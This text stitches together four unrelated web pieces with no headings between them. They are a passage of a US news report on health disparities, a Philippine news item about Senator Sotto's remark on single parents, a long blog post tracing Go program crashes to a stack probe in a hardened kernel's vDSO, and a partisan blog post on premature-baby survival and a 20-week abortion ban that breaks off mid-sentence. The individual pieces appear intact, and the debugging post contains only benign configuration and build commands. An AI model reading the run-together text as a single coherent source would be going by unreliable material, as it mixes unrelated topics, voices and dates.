hospitals and clinics, in part because doctors provide them with less information and see them as “less appropriate candidates” for some types of surgery.  Some health economists contend that the disparities between rich and poor inevitably widen as doctors make gains in treating the major causes of death.  Nancy Krieger, a professor at the Harvard School of Public Health, rejected that idea. Professor Krieger investigated changes in the rate of premature mortality (dying before the age of 65) and infant death from 1960 to 2002. She found that inequities shrank from 1966 to 1980, but then widened.  “The recent trend of growing disparities in health status is not inevitable,” she said. “From 1966 to 1980, socioeconomic disparities declined in tandem with a decline in mortality rates.”  The creation of Medicaid and Medicare, community health centers, the “war on poverty” and the Civil Rights Act of 1964 all probably contributed to the earlier narrowing of health disparities, Professor Krieger said.  Robert E. Moffit, director of the Center for Health Policy Studies at the conservative Heritage Foundation, said one reason for the growing disparities might be “a very significant gap in health literacy” — what people know about diet, exercise and healthy lifestyles. Middle-class and upper-income people have greater access to the huge amounts of health information on the Internet, Mr. Moffit said.  Advertisement Continue reading the main story  Thomas P. Miller, a health economist at the American Enterprise Institute, agreed.  “People with more education tend to have a longer time horizon,” Mr. Miller said. “They are more likely to look at the long-term consequences of their health behavior. They are more assertive in seeking out treatments and more likely to adhere to treatment advice from physicians.”  A recent study by Ellen R. Meara, a health economist at Harvard Medical School, found that in the 1980s and 1990s, “virtually all gains in life expectancy occurred among highly educated groups.”  Trends in smoking explain a large part of the widening gap, she said in an article this month in the journal Health Affairs.  Under federal law, officials must publish an annual report tracking health disparities. In the fifth annual report, issued this month, the Bush administration said, “Over all, disparities in quality and access for minority groups and poor populations have not been reduced” since the first report, in 2003.  The rate of new AIDS cases is still 10 times as high among blacks as among whites, it said, and the proportion of black children hospitalized for asthma is almost four times the rate for white children.  The Centers for Disease Control and Prevention reported last month that heart attack survivors with higher levels of education and income were much more likely to receive cardiac rehabilitation care, which lowers the risk of future heart problems. Likewise, it said, the odds of receiving tests for colon cancer increase with a person’s education and income.
-MANILA - Senator Vicente "Tito" Sotto III on Thursday blamed online "trolls" for supposedly exaggerating his controversial remark about single parents.  "Mga trolls lang nagpapalaki nyan. Hayaan mo na sila," he said in a text message to ABS-CBN News.  Sotto drew criticism on Wednesday after using the colloquial Tagalog phrase "na-ano lang" to describe Social Welfare Secretary Judy Taguiwalo's status as a solo parent.  "In the street language, when you have children and you are single, ang tawag doon ay 'na-ano lang,'" he told Taguiwalo.  In an interview with reporters, Sotto wondered why his comments drew heavy criticism, adding that two of his daughters were also single parents.  "I have two daughters who are separated, who are single and have children. So I don't think there should be any big fuss about it," he added.  Sotto apologized to everyone who took offense with his "joke", saying some people simply did not understand it.  "Perhaps...these are just people who are not my fans so to speak (laughs). Baka mga talagang pakontra lang sa akin yan, kahit anong makita sa akin pangontra na."  "That's why ang premise ko, in the street language. 'Yun ang biruan sa kalsada eh. Kung minasama nila, eh di I'm sorry, I apologize. They didn't understand the joke," he said.  "Madali naman 'yun kung hindi natin mamasamain. Pero kung minasama nila, humihingi ako ng paumanhin," Sotto added.  In his text message to ABS-CBN News, he also noted that the "na-ano lang" is merely a popular catch phrase.  "People have been using that statement everywhere to give a comic description if (the) husband is not present," he said.  Several netizens, one of Taguiwalo's children and the Gabriela women's party-list earlier scored Sotto for sexism and misogyny.  -- With a report from Sherrie Ann Torres, ABS-CBN News
-Preface  I’m a big fan of Prometheus and Grafana. As a former SRE at Google I’ve learned to appreciate good monitoring, and this combination has been a winner for me over the past year. I’m using them for monitoring my personal servers (both black-box and white-box monitoring), for the Euskal Encounter external and internal event infra, for work I do professionally for clients, and more. Prometheus makes it very easy to write custom exporters to monitor your own data, and there’s a good chance you’ll find an exporter that already works for you out of the box. For example, we use sql_exporter to make a pretty dashboard of attendee metrics for the Encounter events.  Event dashboard for Euskal Encounter (fake staging data)  Since it’s so easy to throw node_exporter onto any random machine and have a Prometheus instance scrape it for basic system-level metrics (CPU, memory, network, disk, filesystem usage, etc), I figured, why not also monitor my laptop? I have a Clevo “gaming” laptop that serves as my primary workstation, mostly pretending to be a desktop at home but also traveling with me to big events like the Chaos Communication Congress. Since I already have a VPN between it and one of my servers where I run Prometheus, I can just emerge prometheus-node_exporter , bring up the service, and point my Prometheus instance at it. This automatically configures alerts for it, which means my phone will make a loud noise whenever I open way too many Chrome tabs and run out of my 32GB of RAM. Perfect.  Trouble on the horizon  Barely an hour after setting this up, though, my phone did get a page: my newly-added target was inaccessible. Alas, I could SSH into the laptop fine, so it was definitely up, but node_exporter had crashed.  fatal error: unexpected signal during runtime execution [signal SIGSEGV: segmentation violation code=0x1 addr=0xc41ffc7fff pc=0x41439e] goroutine 2395 [running]: runtime.throw(0xae6fb8, 0x2a) /usr/lib64/go/src/runtime/panic.go:605 +0x95 fp=0xc4203e8be8 sp=0xc4203e8bc8 pc=0x42c815 runtime.sigpanic() /usr/lib64/go/src/runtime/signal_unix.go:351 +0x2b8 fp=0xc4203e8c38 sp=0xc4203e8be8 pc=0x443318 runtime.heapBitsSetType(0xc4204b6fc0, 0x30, 0x30, 0xc420304058) /usr/lib64/go/src/runtime/mbitmap.go:1224 +0x26e fp=0xc4203e8c90 sp=0xc4203e8c38 pc=0x41439e runtime.mallocgc(0x30, 0xc420304058, 0x1, 0x1) /usr/lib64/go/src/runtime/malloc.go:741 +0x546 fp=0xc4203e8d38 sp=0xc4203e8c90 pc=0x411876 runtime.newobject(0xa717e0, 0xc42032f430) /usr/lib64/go/src/runtime/malloc.go:840 +0x38 fp=0xc4203e8d68 sp=0xc4203e8d38 pc=0x411d68 github.com/prometheus/node_exporter/vendor/github.com/prometheus/client_golang/prometheus.NewConstMetric(0xc42018e460, 0x2, 0x3ff0000000000000, 0xc42032f430, 0x1, 0x1, 0x10, 0x9f9dc0, 0x8a0601, 0xc42032f430) /var/tmp/portage/net-analyzer/prometheus-node_exporter-0.15.0/work/prometheus-node_exporter-0.15.0/src/github.com/prometheus/node_exporter/vendor/github.com/prometheus/client_golang/prometheus/value.go:165 +0xd0 fp=0xc4203e8dd0 sp=0xc4203e8d68 pc=0x77a980  node_exporter , like many Prometheus components, is written in Go. Go is a relatively safe language: while it allows you to shoot yourself in the foot if you so wish, and it doesn’t have nearly as strong safety guarantees as, say, Rust does, it is still not too easy to accidentally cause a segfault in Go. More so, node_exporter is a relatively simple Go app with mostly pure-Go dependencies. Therefore, this was an interesting crash to get. Especially since the crash was inside mallocgc , which should never crash under normal circumstances.  Things got more interesting after I restarted it a few times:  2017/11/07 06:32:49 http: panic serving 172.20.0.1:38504: runtime error: growslice: cap out of range goroutine 41 [running]: net/http.(*conn).serve.func1(0xc4201cdd60) /usr/lib64/go/src/net/http/server.go:1697 +0xd0 panic(0xa24f20, 0xb41190) /usr/lib64/go/src/runtime/panic.go:491 +0x283 fmt.(*buffer).WriteString(...) /usr/lib64/go/src/fmt/print.go:82 fmt.(*fmt).padString(0xc42053a040, 0xc4204e6800, 0xc4204e6850) /usr/lib64/go/src/fmt/format.go:110 +0x110 fmt.(*fmt).fmt_s(0xc42053a040, 0xc4204e6800, 0xc4204e6850) /usr/lib64/go/src/fmt/format.go:328 +0x61 fmt.(*pp).fmtString(0xc42053a000, 0xc4204e6800, 0xc4204e6850, 0xc400000073) /usr/lib64/go/src/fmt/print.go:433 +0x197 fmt.(*pp).printArg(0xc42053a000, 0x9f4700, 0xc42041c290, 0x73) /usr/lib64/go/src/fmt/print.go:664 +0x7b5 fmt.(*pp).doPrintf(0xc42053a000, 0xae7c2d, 0x2c, 0xc420475670, 0x2, 0x2) /usr/lib64/go/src/fmt/print.go:996 +0x15a fmt.Sprintf(0xae7c2d, 0x2c, 0xc420475670, 0x2, 0x2, 0x10, 0x9f4700) /usr/lib64/go/src/fmt/print.go:196 +0x66 fmt.Errorf(0xae7c2d, 0x2c, 0xc420475670, 0x2, 0x2, 0xc420410301, 0xc420410300) /usr/lib64/go/src/fmt/print.go:205 +0x5a  Well that’s interesting. A crash in Sprintf this time. What?  runtime: pointer 0xc4203e2fb0 to unallocated span idx=0x1f1 span.base()=0xc4203dc000 span.limit=0xc4203e6000 span.state=3 runtime: found in object at *(0xc420382a80+0x80) object=0xc420382a80 k=0x62101c1 s.base()=0xc420382000 s.limit=0xc420383f80 s.spanclass=42 s.elemsize=384 s.state=_MSpanInUse  fatal error: found bad pointer in Go heap (incorrect use of unsafe or cgo?) runtime stack: runtime.throw(0xaee4fe, 0x3e) /usr/lib64/go/src/runtime/panic.go:605 +0x95 fp=0x7f0f19ffab90 sp=0x7f0f19ffab70 pc=0x42c815 runtime.heapBitsForObject(0xc4203e2fb0, 0xc420382a80, 0x80, 0xc41ffd8a33, 0xc400000000, 0x7f0f400ac560, 0xc420031260, 0x11) /usr/lib64/go/src/runtime/mbitmap.go:425 +0x489 fp=0x7f0f19ffabe8 sp=0x7f0f19ffab90 pc=0x4137c9 runtime.scanobject(0xc420382a80, 0xc420031260) /usr/lib64/go/src/runtime/mgcmark.go:1187 +0x25d fp=0x7f0f19ffac90 sp=0x7f0f19ffabe8 pc=0x41ebed runtime.gcDrain(0xc420031260, 0x5) /usr/lib64/go/src/runtime/mgcmark.go:943 +0x1ea fp=0x7f0f19fface0 sp=0x7f0f19ffac90 pc=0x41e42a runtime.gcBgMarkWorker.func2() /usr/lib64/go/src/runtime/mgc.go:1773 +0x80 fp=0x7f0f19ffad20 sp=0x7f0f19fface0 pc=0x4580b0 runtime.systemstack(0xc420436ab8) /usr/lib64/go/src/runtime/asm_amd64.s:344 +0x79 fp=0x7f0f19ffad28 sp=0x7f0f19ffad20 pc=0x45a469 runtime.mstart() /usr/lib64/go/src/runtime/proc.go:1125 fp=0x7f0f19ffad30 sp=0x7f0f19ffad28 pc=0x430fe0  And now the garbage collector stumbled upon a problem. Yet a different crash.  At this point, there are two natural conclusions: either I have a severe hardware issue, or there is a wild memory corruption bug in the binary. I initially considered the former unlikely, as this machine has a very heavily mixed workload and no signs of instability that can be traced back to hardware (I have my fair share of crashing software, but it’s never random). Since Go binaries like node_exporter are statically linked and do not depend on any other libraries, I can download the official release binary and try that, which would eliminate most of the rest of my system as a variable. Yet, when I did so, I still got a crash.  unexpected fault address 0x0 fatal error: fault [signal SIGSEGV: segmentation violation code=0x80 addr=0x0 pc=0x76b998] goroutine 13 [running]: runtime.throw(0xabfb11, 0x5) /usr/local/go/src/runtime/panic.go:605 +0x95 fp=0xc420060c40 sp=0xc420060c20 pc=0x42c725 runtime.sigpanic() /usr/local/go/src/runtime/signal_unix.go:374 +0x227 fp=0xc420060c90 sp=0xc420060c40 pc=0x443197 github.com/prometheus/node_exporter/vendor/github.com/prometheus/client_model/go.(*LabelPair).GetName(...) /go/src/github.com/prometheus/node_exporter/vendor/github.com/prometheus/client_model/go/metrics.pb.go:85 github.com/prometheus/node_exporter/vendor/github.com/prometheus/client_golang/prometheus.(*Desc).String(0xc4203ae010, 0xaea9d0, 0xc42045c000) /go/src/github.com/prometheus/node_exporter/vendor/github.com/prometheus/client_golang/prometheus/desc.go:179 +0xc8 fp=0xc420060dc8 sp=0xc420060c90 pc=0x76b998  Yet another completely different crash. At this point there was a decent chance that there was truly an upstream problem with node_exporter or one of its dependencies, so I filed an issue on GitHub. Perhaps the developers had seen this before? It’s worth bringing this kind of issue to their attention and seeing if they have any ideas.  A not-so-brief bare metal detour  Unsurprisingly, upstream’s first guess was that it was a hardware issue. This isn’t unreasonable: after all, I’m only hitting the problem on one specific machine. All my other machines are happily running node_exporter . While I had no other evidence of hardware-linked instability on this host, I also had no other explanation as to what was so particular about this machine that would make node_exporter crash. A Memtest86+ run never hurt anyone, so I gave it a go.  And then this happened:  This is what I get for using consumer hardware  Whoops! Bad RAM. Well, to be more specific, one bit of bad RAM. After letting the test run for a full pass, all I got was that single bad bit, plus a few false positives in test 7 (which moves blocks around and so can amplify a single error).  Further testing showed that Memtest86+ test #5 in SMP mode would quickly detect the error, but usually not on the first pass. The error was always the same bit at the same address. This suggests that the problem is a weak or leaky RAM cell. In particular, one which gets worse with temperature. This is quite logical: a higher temperature increases leakage in the RAM cells and thus makes it more likely that a somewhat marginal cell will actually cause a bit flip.  To put this into perspective, this is one bad bit out of 274,877,906,944. That’s actually a very good error rate! Hard disks and Flash memory have much higher error rates - it’s just that those devices have bad blocks marked at the factory that are transparently swapped out without the user knowing, and can transparently mark newly discovered weak blocks as bad and relocate them to a spare area. RAM has no such luxury, so a bad bit sticks forever.  Alas, this is vanishingly unlikely to be the cause of my node_exporter woes. That app uses very little RAM, and so the chances of it hitting the bad bit (repeatedly, at that) are extremely low. This kind of problem would be largely unnoticeable, perhaps causing a pixel error in some graphics, a single letter to flip in some text, an instruction to be corrupted that probably won’t ever be run, and perhaps the rare segfault when something actually important does land on the bad bit. Nonetheless, it does cause long-term reliability issues, and this is why servers and other devices intended to be reliable must use ECC RAM, which can correct this kind of error.  I don’t have the luxury of ECC RAM on this laptop. What I do have, though, is the ability to mark the bad block of RAM as bad and tell the OS not to use it. There is a little-known feature of GRUB 2 which allows you to do just that, by changing the memory map that is passed to the booted kernel. It’s not worth buying new RAM just for a single bad bit (especially since DDR3 is already obsolete, and there’s a good chance new RAM would have weak cells anyway), so this is a good option.  However, there’s one more thing I can do. Since the problem gets worse with temperature, what happens if I heat up the RAM?  🔥🔥🔥memtest86+🔥🔥🔥 A cozy 100°C  Using a heat gun set at a fairly low temperature (130°C) I warmed up two modules at a time (the other two modules are under the rear cover, as my laptop has four SODIMM slots total). Playing around with module order, I found three additional weak bits only detectable at elevated temperature, and they were spread around three of my RAM sticks.  I also found that the location of the errors stayed roughly consistent even as I swapped modules around: the top bits of the address remained the same. This is because the RAM is interleaved: data is spread over all four sticks, instead of each stick being assigned a contiguous quarter of the available address space. This is convenient, because I can just mask a region of RAM large enough to cover all possible addresses for each error bit, and not have to worry that I might swap sticks in the future and mess up the masking. I found that masking a contiguous 128KiB area should cover all possible permutations of addresses for each given bad bit, but, for good measure, I rounded up to 1MiB. This gave me three 1MiB aligned blocks to mask out (one of them covers two of the bad bits, for a total of four bad bits I wanted masked):  0x36a700000 – 0x36a7fffff  – 0x460e00000 – 0x460efffff  – 0x4ea000000 – 0x4ea0fffff  This can be specified using the address/mask syntax required by GRUB as follows, in /etc/default/grub :  GRUB_BADRAM="0x36a700000,0xfffffffffff00000,0x460e00000,0xfffffffffff00000,0x4ea000000,0xfffffffffff00000"  One quick grub-mkconfig later, I am down 3MiB of RAM and four dodgy bits with it. It’s not ECC RAM, but this should increase the effective reliability of my consumer-grade RAM, since now I know the rest of the memory is fine up to at least 100°C.  Needless to say, node_exporter still crashed, but we knew this wasn’t the real problem, didn’t we.  Digging deeper  The annoying thing about this kind of bug is that it clearly is caused by some kind of memory corruption that breaks code that runs later. This makes it very hard to debug, because we can’t predict what will be corrupted (it varies), and we can’t catch the bad code in the act of doing so.  First I tried some basic bisecting of available node_exporter releases and enabling/disabling different collectors, but that went nowhere. I also tried running an instance under strace . This seemed to stop the crashes, which strongly points to a race-condition kind of problem. strace will usually wind up serializing execution of apps to some extent, by intercepting all system calls run by all threads. I would later find that the strace instance crashed too, but it took much longer to do so. Since this seemed to be related to concurrency, I tried setting GOMAXPROCS=1 , which tells Go to only use a single OS-level thread to run Go code. This also stopped the crashes, again pointing strongly to a concurrency issue.  By now I had gathered quite a considerable number of crash logs, and I was starting to notice some patterns. While there was a lot of variation in the parts that were crashing and how, ultimately the error messages could be categorized into different types and the same kind of error showed up more than once. So I started Googling these errors, and this is how I stumbled upon Go issue #20427. This was an issue in seemingly an unrelated part of Go, but one that had caused similar segfaults and random issues. The issue was closed with no diagnosis after it couldn’t be reproduced with Go 1.9. Nobody knew what the root cause was, just that it had stopped happening.  So I grabbed this sample code from the issue, which claimed to reproduce the problem, and ran it on my machine. Lo and behold, it crashed within seconds. Bingo. This is a lot better than waiting hours for node_exporter to crash.  That doesn’t get me any closer to debugging the issue from the Go side, but it gives me a much faster way to test for it. So let’s try another angle.  Bisecting machines  I know the problem happens on my laptop, but doesn’t happen on any other of my machines. I tried the reproducer on every other machine I have easy access to, and couldn’t get it to crash on any of them. This tells me there’s something special about my laptop. Since Go statically links binaries, the rest of userspace doesn’t matter. This leaves two relevant parts: the hardware, and the kernel.  I don’t have any easy way to test with various hardware other than the machines I own, but I can play with kernels. So let’s try that. First order of business: will it crash in a VM?  To test for this, I built a minimal initramfs that will allow me to very quickly launch the reproducer in a QEMU VM without having to actually install a distro or boot a full Linux system. My initramfs was built with Linux’s scripts/gen_initramfs_list.sh and contained the following files:  dir /dev 755 0 0 nod /dev/console 0600 0 0 c 5 1 nod /dev/null 0666 0 0 c 1 3 dir /bin 755 0 0 file /bin/busybox busybox 755 0 0 slink /bin/sh busybox 755 0 0 slink /bin/true busybox 755 0 0 file /init init.sh 755 0 0 file /reproducer reproducer 755 0 0  /init is the entry point of a Linux initramfs, and in my case was a simple shellscript to start the test and measure time:  #!/bin/sh export PATH=/bin start=$(busybox date +%s) echo "Starting test now..." /reproducer ret=$? end=$(busybox date +%s) echo "Test exited with status $ret after $((end-start)) seconds"  /bin/busybox is a statically linked version of BusyBox, often used in minimal systems like this to provide all basic Linux shell utilities (including a shell itself).  The initramfs can be built like this (from a Linux kernel source tree), where list.txt is the file list above:  scripts/gen_initramfs_list.sh -o initramfs.gz list.txt  And QEMU can boot the kernel and initramfs directly:  qemu-system-x86_64 -kernel /boot/vmlinuz-4.13.9-gentoo -initrd initramfs.gz -append 'console=ttyS0' -smp 8 -nographic -serial mon:stdio -cpu host -enable-kvm  This resulted in no output at all to the console… and then I realized I hadn’t even compiled 8250 serial port support into my laptop’s kernel. D’oh. I mean, it doesn’t have a physical serial port, right? Anyway, a quick detour to rebuild the kernel with serial support (and crossing my fingers that didn’t change anything important), I tried again and it successfully booted and ran the reproducer.  Did it crash? Yup. Good, this means the problem is reproducible on a VM on the same machine. I tried the same QEMU command on my home server, with its own kernel, and… nothing. Then I copied the kernel from my laptop and booted that and… it crashed. The kernel is what matters. It’s not a hardware issue.  Juggling kernels  At this point, I knew I was going to be compiling lots of kernels to try to narrow this down. So I decided to move to the most powerful machine I had lying around: a somewhat old 12-core, 24-thread Xeon (now defunct, sadly). I copied the known-bad kernel source to that machine, built it, and tested it.  It didn’t crash.  What?  Some head-scratching later, I made sure the original bad kernel binary crashed (it did). Are we back to hardware? Does it matter which machine I build the kernel on? So I tried building the kernel on my home server, and that one promptly triggered the crash. Building the same kernel on two machines yields crashes, a third machine doesn’t. What’s the difference?  Well, these are all Gentoo boxes, and all Gentoo Hardened at that. But my laptop and my home server are both ~amd64 (unstable), while my Xeon server is amd64 (stable). That means GCC is different. My laptop and home server were both on gcc (Gentoo Hardened 6.4.0 p1.0) 6.4.0 , while my Xeon was on gcc (Gentoo Hardened 5.4.0-r3 p1.3, pie-0.6.5) 5.4.0 .  But my home server’s kernel, which was nearly the same version as my laptop (though not exactly), built with the same GCC, did not reproduce the crashes. So now we have to conclude that both the compiler used to build the kernel and the kernel itself (or its config?) matter.  To narrow things down further, I compiled the exact kernel tree from my laptop on my home server (linux-4.13.9-gentoo), and confirmed that it indeed crashed. Then I copied over the .config from my home server and compiled that, and found that it didn’t. This means we’re looking at a kernel config difference and a compiler difference:  linux-4.13.9-gentoo + gcc 5.4.0-r3 p1.3 + laptop .config - no crash  linux-4.13.9-gentoo + gcc 6.4.0 p1.0 + laptop .config - crash  linux-4.13.9-gentoo + gcc 6.4.0 p1.0 + server .config - no crash  Two .config s, one good, and one bad. Time to diff them. Of course, the two configs were vastly different (since I tend to tailor my kernel config to only include the drivers I need on any particular machine), so I had to repeatedly rebuild the kernel while narrowing down the differences.  I decided to start with the “known bad” .config and start removing things. Since the reproducer takes a variable amount of time to crash, it’s easier to test for “still crashes” (just wait for it to crash) than for “doesn’t crash” (how long do I have to wait to convince myself that it doesn’t?). Over the course of 22 kernel builds, I managed to simplify the config so much that the kernel had no networking support, no filesystems, no block device core, and didn’t even support PCI (still works fine on a VM though!). My kernel builds now took less than 60 seconds and the kernel was about 1/4th the size of my regular one.  Then I moved on to the “known good” .config and removed all the unnecessary junk while making sure it still didn’t crash the reproducer (which was trickier and slower than the previous test). I had a few false branches, where I changed something that made the reproducer start crashing (but I didn’t know what), yet I misidentified them as “no crash”, so when I got a crash I had to walk back up the previous kernels I’d built and make sure I knew exactly where the crash was introduced. I ended up doing 7 kernel builds.  Eventually, I narrowed it down to a small handful of different .config options. A few of them stood out, in particular CONFIG_OPTIMIZE_INLINING . After carefully testing them I concluded that, indeed, that option was the culprit. Turning it off produced kernels that crash the reproducer testcase, while turning it on produced kernels that didn’t. This option, when turned on, allows GCC to better determine which inline functions really must be inlined, instead of forcing it to inline them unconditionally. This also explains the GCC connection: inlining behavior is likely to change between GCC versions.  /* * Force always-inline if the user requests it so via the .config, * or if gcc is too old. * GCC does not warn about unused static inline functions for * -Wunused-function. This turns out to avoid the need for complex #ifdef * directives. Suppress the warning in clang as well by using "unused" * function attribute, which is redundant but not harmful for gcc. */ #if !defined(CONFIG_ARCH_SUPPORTS_OPTIMIZED_INLINING) || \ !defined(CONFIG_OPTIMIZE_INLINING) || (__GNUC__ < 4) #define inline inline __attribute__((always_inline,unused)) notrace #define __inline__ __inline__ __attribute__((always_inline,unused)) notrace #define __inline __inline __attribute__((always_inline,unused)) notrace #else /* A lot of inline functions can cause havoc with function tracing */ #define inline inline __attribute__((unused)) notrace #define __inline__ __inline__ __attribute__((unused)) notrace #define __inline __inline __attribute__((unused)) notrace #endif  So what next? We know that CONFIG_OPTIMIZE_INLINING makes the difference, but that potentially changes the behavior of every single inline function across the whole kernel. How to pinpoint the problem?  I had an idea.  Hash-based differential compilation  The basic premise is to compile part of the kernel with the option turned on, and part of the kernel with the option turned off. By testing the resulting kernel and checking whether the problem appears or not, we can deduce which subset of the kernel compilation units contains the problem code.  Instead of trying to enumerate all object files and doing some kind of binary search, I decided to go with a hash-based approach. I wrote this wrapper script for GCC:  #!/bin/bash args=("$@") doit= while [ $# -gt 0 ]; do case "$1" in -c) doit=1 ;; -o) shift objfile="$1" ;; esac shift done extra= if [ ! -z "$doit" ]; then sha="$(echo -n "$objfile" | sha1sum - | cut -d" " -f1)" echo "${sha:0:8} $objfile" >> objs.txt if [ $((0x${sha:0:8} & (0x80000000 >> $BIT))) = 0 ]; then echo "[n]" "$objfile" 1>&2 else extra=-DCONFIG_OPTIMIZE_INLINING echo "[y]" "$objfile" 1>&2 fi fi exec gcc $extra "${args[@]}"  This hashes the object file name with SHA-1, then checks a given bit of the hash out of the first 32 bits (identified by the $BIT environment variable). If the bit is 0, it builds without CONFIG_OPTIMIZE_INLINING . If it is 1, it builds with CONFIG_OPTIMIZE_INLINING . I found that the kernel had around 685 object files at this point (my minimization effort had paid off), which requires about 10 bits for a unique identification. This hash-based approach also has one neat property: I can choose to only worry about crashing outcomes (where the bit is 0), since it is much harder to prove that a given kernel build does not crash (as the crashes are probabilistic and can take quite a while sometimes).  I built 32 kernels, one for each bit of the SHA-1 prefix, which only took 29 minutes. Then I started testing them, and every time I got a crash, I narrowed down a regular expression of possible SHA-1 hashes to only those with zero bits at those specific positions. At 8 crashes (and thus zero bits), I was down to 4 object files, and a couple were looking promising. Once I hit the 10th crash, there was a single match.  $ grep '^[0246][012389ab][0189][014589cd][028a][012389ab][014589cd]' objs_0.txt 6b9cab4f arch/x86/entry/vdso/vclock_gettime.o  vDSO code. Of course.  vDSO shenanigans  The kernel’s vDSO is not actually kernel code. vDSO is a small shared library that the kernel places in the address space of every process, and which allows apps to perform certain special system calls without ever leaving user mode. This increases performance significantly, while still allowing the kernel to change the implementation details of those system calls as needed.  In other words, vDSO is GCC-compiled code, built with the kernel, that ends up being linked with every userspace app. It’s userspace code. This explains why the kernel and its compiler mattered: it wasn’t about the kernel itself, but about a shared library provided by the kernel! And Go uses the vDSO for performance. Go also happens to have a (rather insane, in my opinion) policy of reinventing its own standard library, so it does not use any of the standard Linux glibc code to call vDSO, but rather rolls its own calls (and syscalls too).  So what does flipping CONFIG_OPTIMIZE_INLINING do to the vDSO? Let’s look at the assembly.  With CONFIG_OPTIMIZE_INLINING=n :  arch/x86/entry/vdso/vclock_gettime.o.no_inline_opt: file format elf64-x86-64 Disassembly of section .text: 0000000000000000 : 0: 55 push %rbp 1: 48 89 e5 mov %rsp,%rbp 4: 90 nop 5: 90 nop 6: 90 nop 7: 0f 31 rdtsc 9: 48 c1 e2 20 shl $0x20,%rdx d: 48 09 d0 or %rdx,%rax 10: 48 8b 15 00 00 00 00 mov 0x0(%rip),%rdx # 17  17: 48 39 c2 cmp %rax,%rdx 1a: 77 02 ja 1e  1c: 5d pop %rbp 1d: c3 retq 1e: 48 89 d0 mov %rdx,%rax 21: 5d pop %rbp 22: c3 retq 23: 0f 1f 00 nopl (%rax) 26: 66 2e 0f 1f 84 00 00 nopw %cs:0x0(%rax,%rax,1) 2d: 00 00 00 0000000000000030 <__vdso_clock_gettime>: 30: 55 push %rbp 31: 48 89 e5 mov %rsp,%rbp 34: 48 81 ec 20 10 00 00 sub $0x1020,%rsp 3b: 48 83 0c 24 00 orq $0x0,(%rsp) 40: 48 81 c4 20 10 00 00 add $0x1020,%rsp 47: 4c 8d 0d 00 00 00 00 lea 0x0(%rip),%r9 # 4e <__vdso_clock_gettime+0x1e> 4e: 83 ff 01 cmp $0x1,%edi 51: 74 66 je b9 <__vdso_clock_gettime+0x89> 53: 0f 8e dc 00 00 00 jle 135 <__vdso_clock_gettime+0x105> 59: 83 ff 05 cmp $0x5,%edi 5c: 74 34 je 92 <__vdso_clock_gettime+0x62> 5e: 83 ff 06 cmp $0x6,%edi 61: 0f 85 c2 00 00 00 jne 129 <__vdso_clock_gettime+0xf9> [...]  With CONFIG_OPTIMIZE_INLINING=y :  arch/x86/entry/vdso/vclock_gettime.o.inline_opt: file format elf64-x86-64 Disassembly of section .text: 0000000000000000 <__vdso_clock_gettime>: 0: 55 push %rbp 1: 4c 8d 0d 00 00 00 00 lea 0x0(%rip),%r9 # 8 <__vdso_clock_gettime+0x8> 8: 83 ff 01 cmp $0x1,%edi b: 48 89 e5 mov %rsp,%rbp e: 74 66 je 76 <__vdso_clock_gettime+0x76> 10: 0f 8e dc 00 00 00 jle f2 <__vdso_clock_gettime+0xf2> 16: 83 ff 05 cmp $0x5,%edi 19: 74 34 je 4f <__vdso_clock_gettime+0x4f> 1b: 83 ff 06 cmp $0x6,%edi 1e: 0f 85 c2 00 00 00 jne e6 <__vdso_clock_gettime+0xe6> [...]  Interestingly, CONFIG_OPTIMIZE_INLINING=y , which is supposed to allow GCC to inline less, actually resulted in it inlining more: vread_tsc is inlined in that version, while not in the CONFIG_OPTIMIZE_INLINING=n version. But vread_tsc isn’t marked inline at all, so GCC is perfectly within its right to behave like this, as counterintuitive as it may be.  But who cares if a function is inlined? Where’s the actual problem? Well, looking closer at the non-inline version…  30: 55 push %rbp 31: 48 89 e5 mov %rsp,%rbp 34: 48 81 ec 20 10 00 00 sub $0x1020,%rsp 3b: 48 83 0c 24 00 orq $0x0,(%rsp) 40: 48 81 c4 20 10 00 00 add $0x1020,%rsp  Why is GCC allocating over 4KiB of stack? That’s not a stack allocation, that’s a stack probe, or more specifically, the result of the -fstack-check GCC feature.  Gentoo Linux enables -fstack-check by default on its hardened profile. This is a mitigation for the Stack Clash vulnerability. While -fstack-check is an old GCC feature and not intended for this, it turns out it effectively mitigates the issue (I’m told proper Stack Clash protection will be in GCC 8). As a side-effect, it causes some fairly silly behavior, where every non-leaf function (that is, a function that makes function calls) ends up probing the stack 4 KiB ahead of the stack pointer. In other words, code compiled with -fstack-check potentially needs at least 4 KiB of stack space, unless it is a leaf function (or a function where every call was inlined).  Go loves small stacks.  TEXT runtime·walltime(SB),NOSPLIT,$16 // Be careful. We're calling a function with gcc calling convention here. // We're guaranteed 128 bytes on entry, and we've taken 16, and the // call uses another 8. // That leaves 104 for the gettime code to use. Hope that's enough!  Turns out 104 bytes aren’t enough for everybody. Certainly not for my kernel.  It’s worth pointing out that the vDSO specification makes no mention of maximum stack usage guarantees, so this is squarely Go’s fault for making invalid assumptions.  Conclusion  This perfectly explains the symptoms. The stack probe is an orq , which is a logical OR with 0. This is a no-op, but effectively probes the target address (if it is unmapped, it will segfault). But we weren’t seeing segfaults in vDSO code, so how was this breaking Go? Well, OR with 0 isn’t really a no-op. Since orq is not an atomic instruction, what really happens is the CPU reads the memory address and then writes it back. This creates a race condition. If other threads are running in parallel on other CPUs, orq might effectively wind up undoing a memory write that occurs simultaneously. Since the write was out of the stack bounds, it was likely intruding on other threads’ stacks or random data, and, when the stars line up, undoing a memory write. This is also why GOMAXPROCS=1 works around the issue, since that prevents two threads from effectively running Go code at the same time.
-This story appeared in the radically leftist New York Times, of all places.  It says:  A small number of very premature babies are surviving earlier outside the womb than doctors once thought possible, a new study has documented, raising questions about how aggressively they should be treated and posing implications for the debate about abortion. […]The study, one of the largest and most systematic examinations of care for very premature infants, found that hospitals with sophisticated neonatal units varied widely in their approach to 22-week-olds, ranging from a few that offer no active medical treatment to a handful that assertively treat most cases with measures like ventilation, intubation and surfactant to improve the functioning of babies’ lungs. […]The study, involving nearly 5,000 babies born between 22 and 27 weeks gestation, found that 22-week-old babies did not survive without medical intervention. In the 78 cases where active treatment was given, 18 survived, and by the time they were young toddlers, seven of those did not have moderate or severe impairments. Six had serious problems such as blindness, deafness or severe cerebral palsy. Of the 755 born at 23 weeks, treatment was given to 542. About a third of those survived, and about half of the survivors had no significant problems.  You can double-check the details of the study.  Meanwhile, in Congress, the Republicans are getting ready to reintroduce a bill that bans abortions after 20 weeks.  Excerpt:  Republicans in the House of Representatives will hold a vote on or around the anniversary of the murder conviction of late-term abortionist Kermit Gosnell on a marquee bill to ban abortions after 20 weeks of pregnancy because unborn children feel intense pain in abortions. This is the second time Republicans have planned a vote on the major pro-life bill — and this 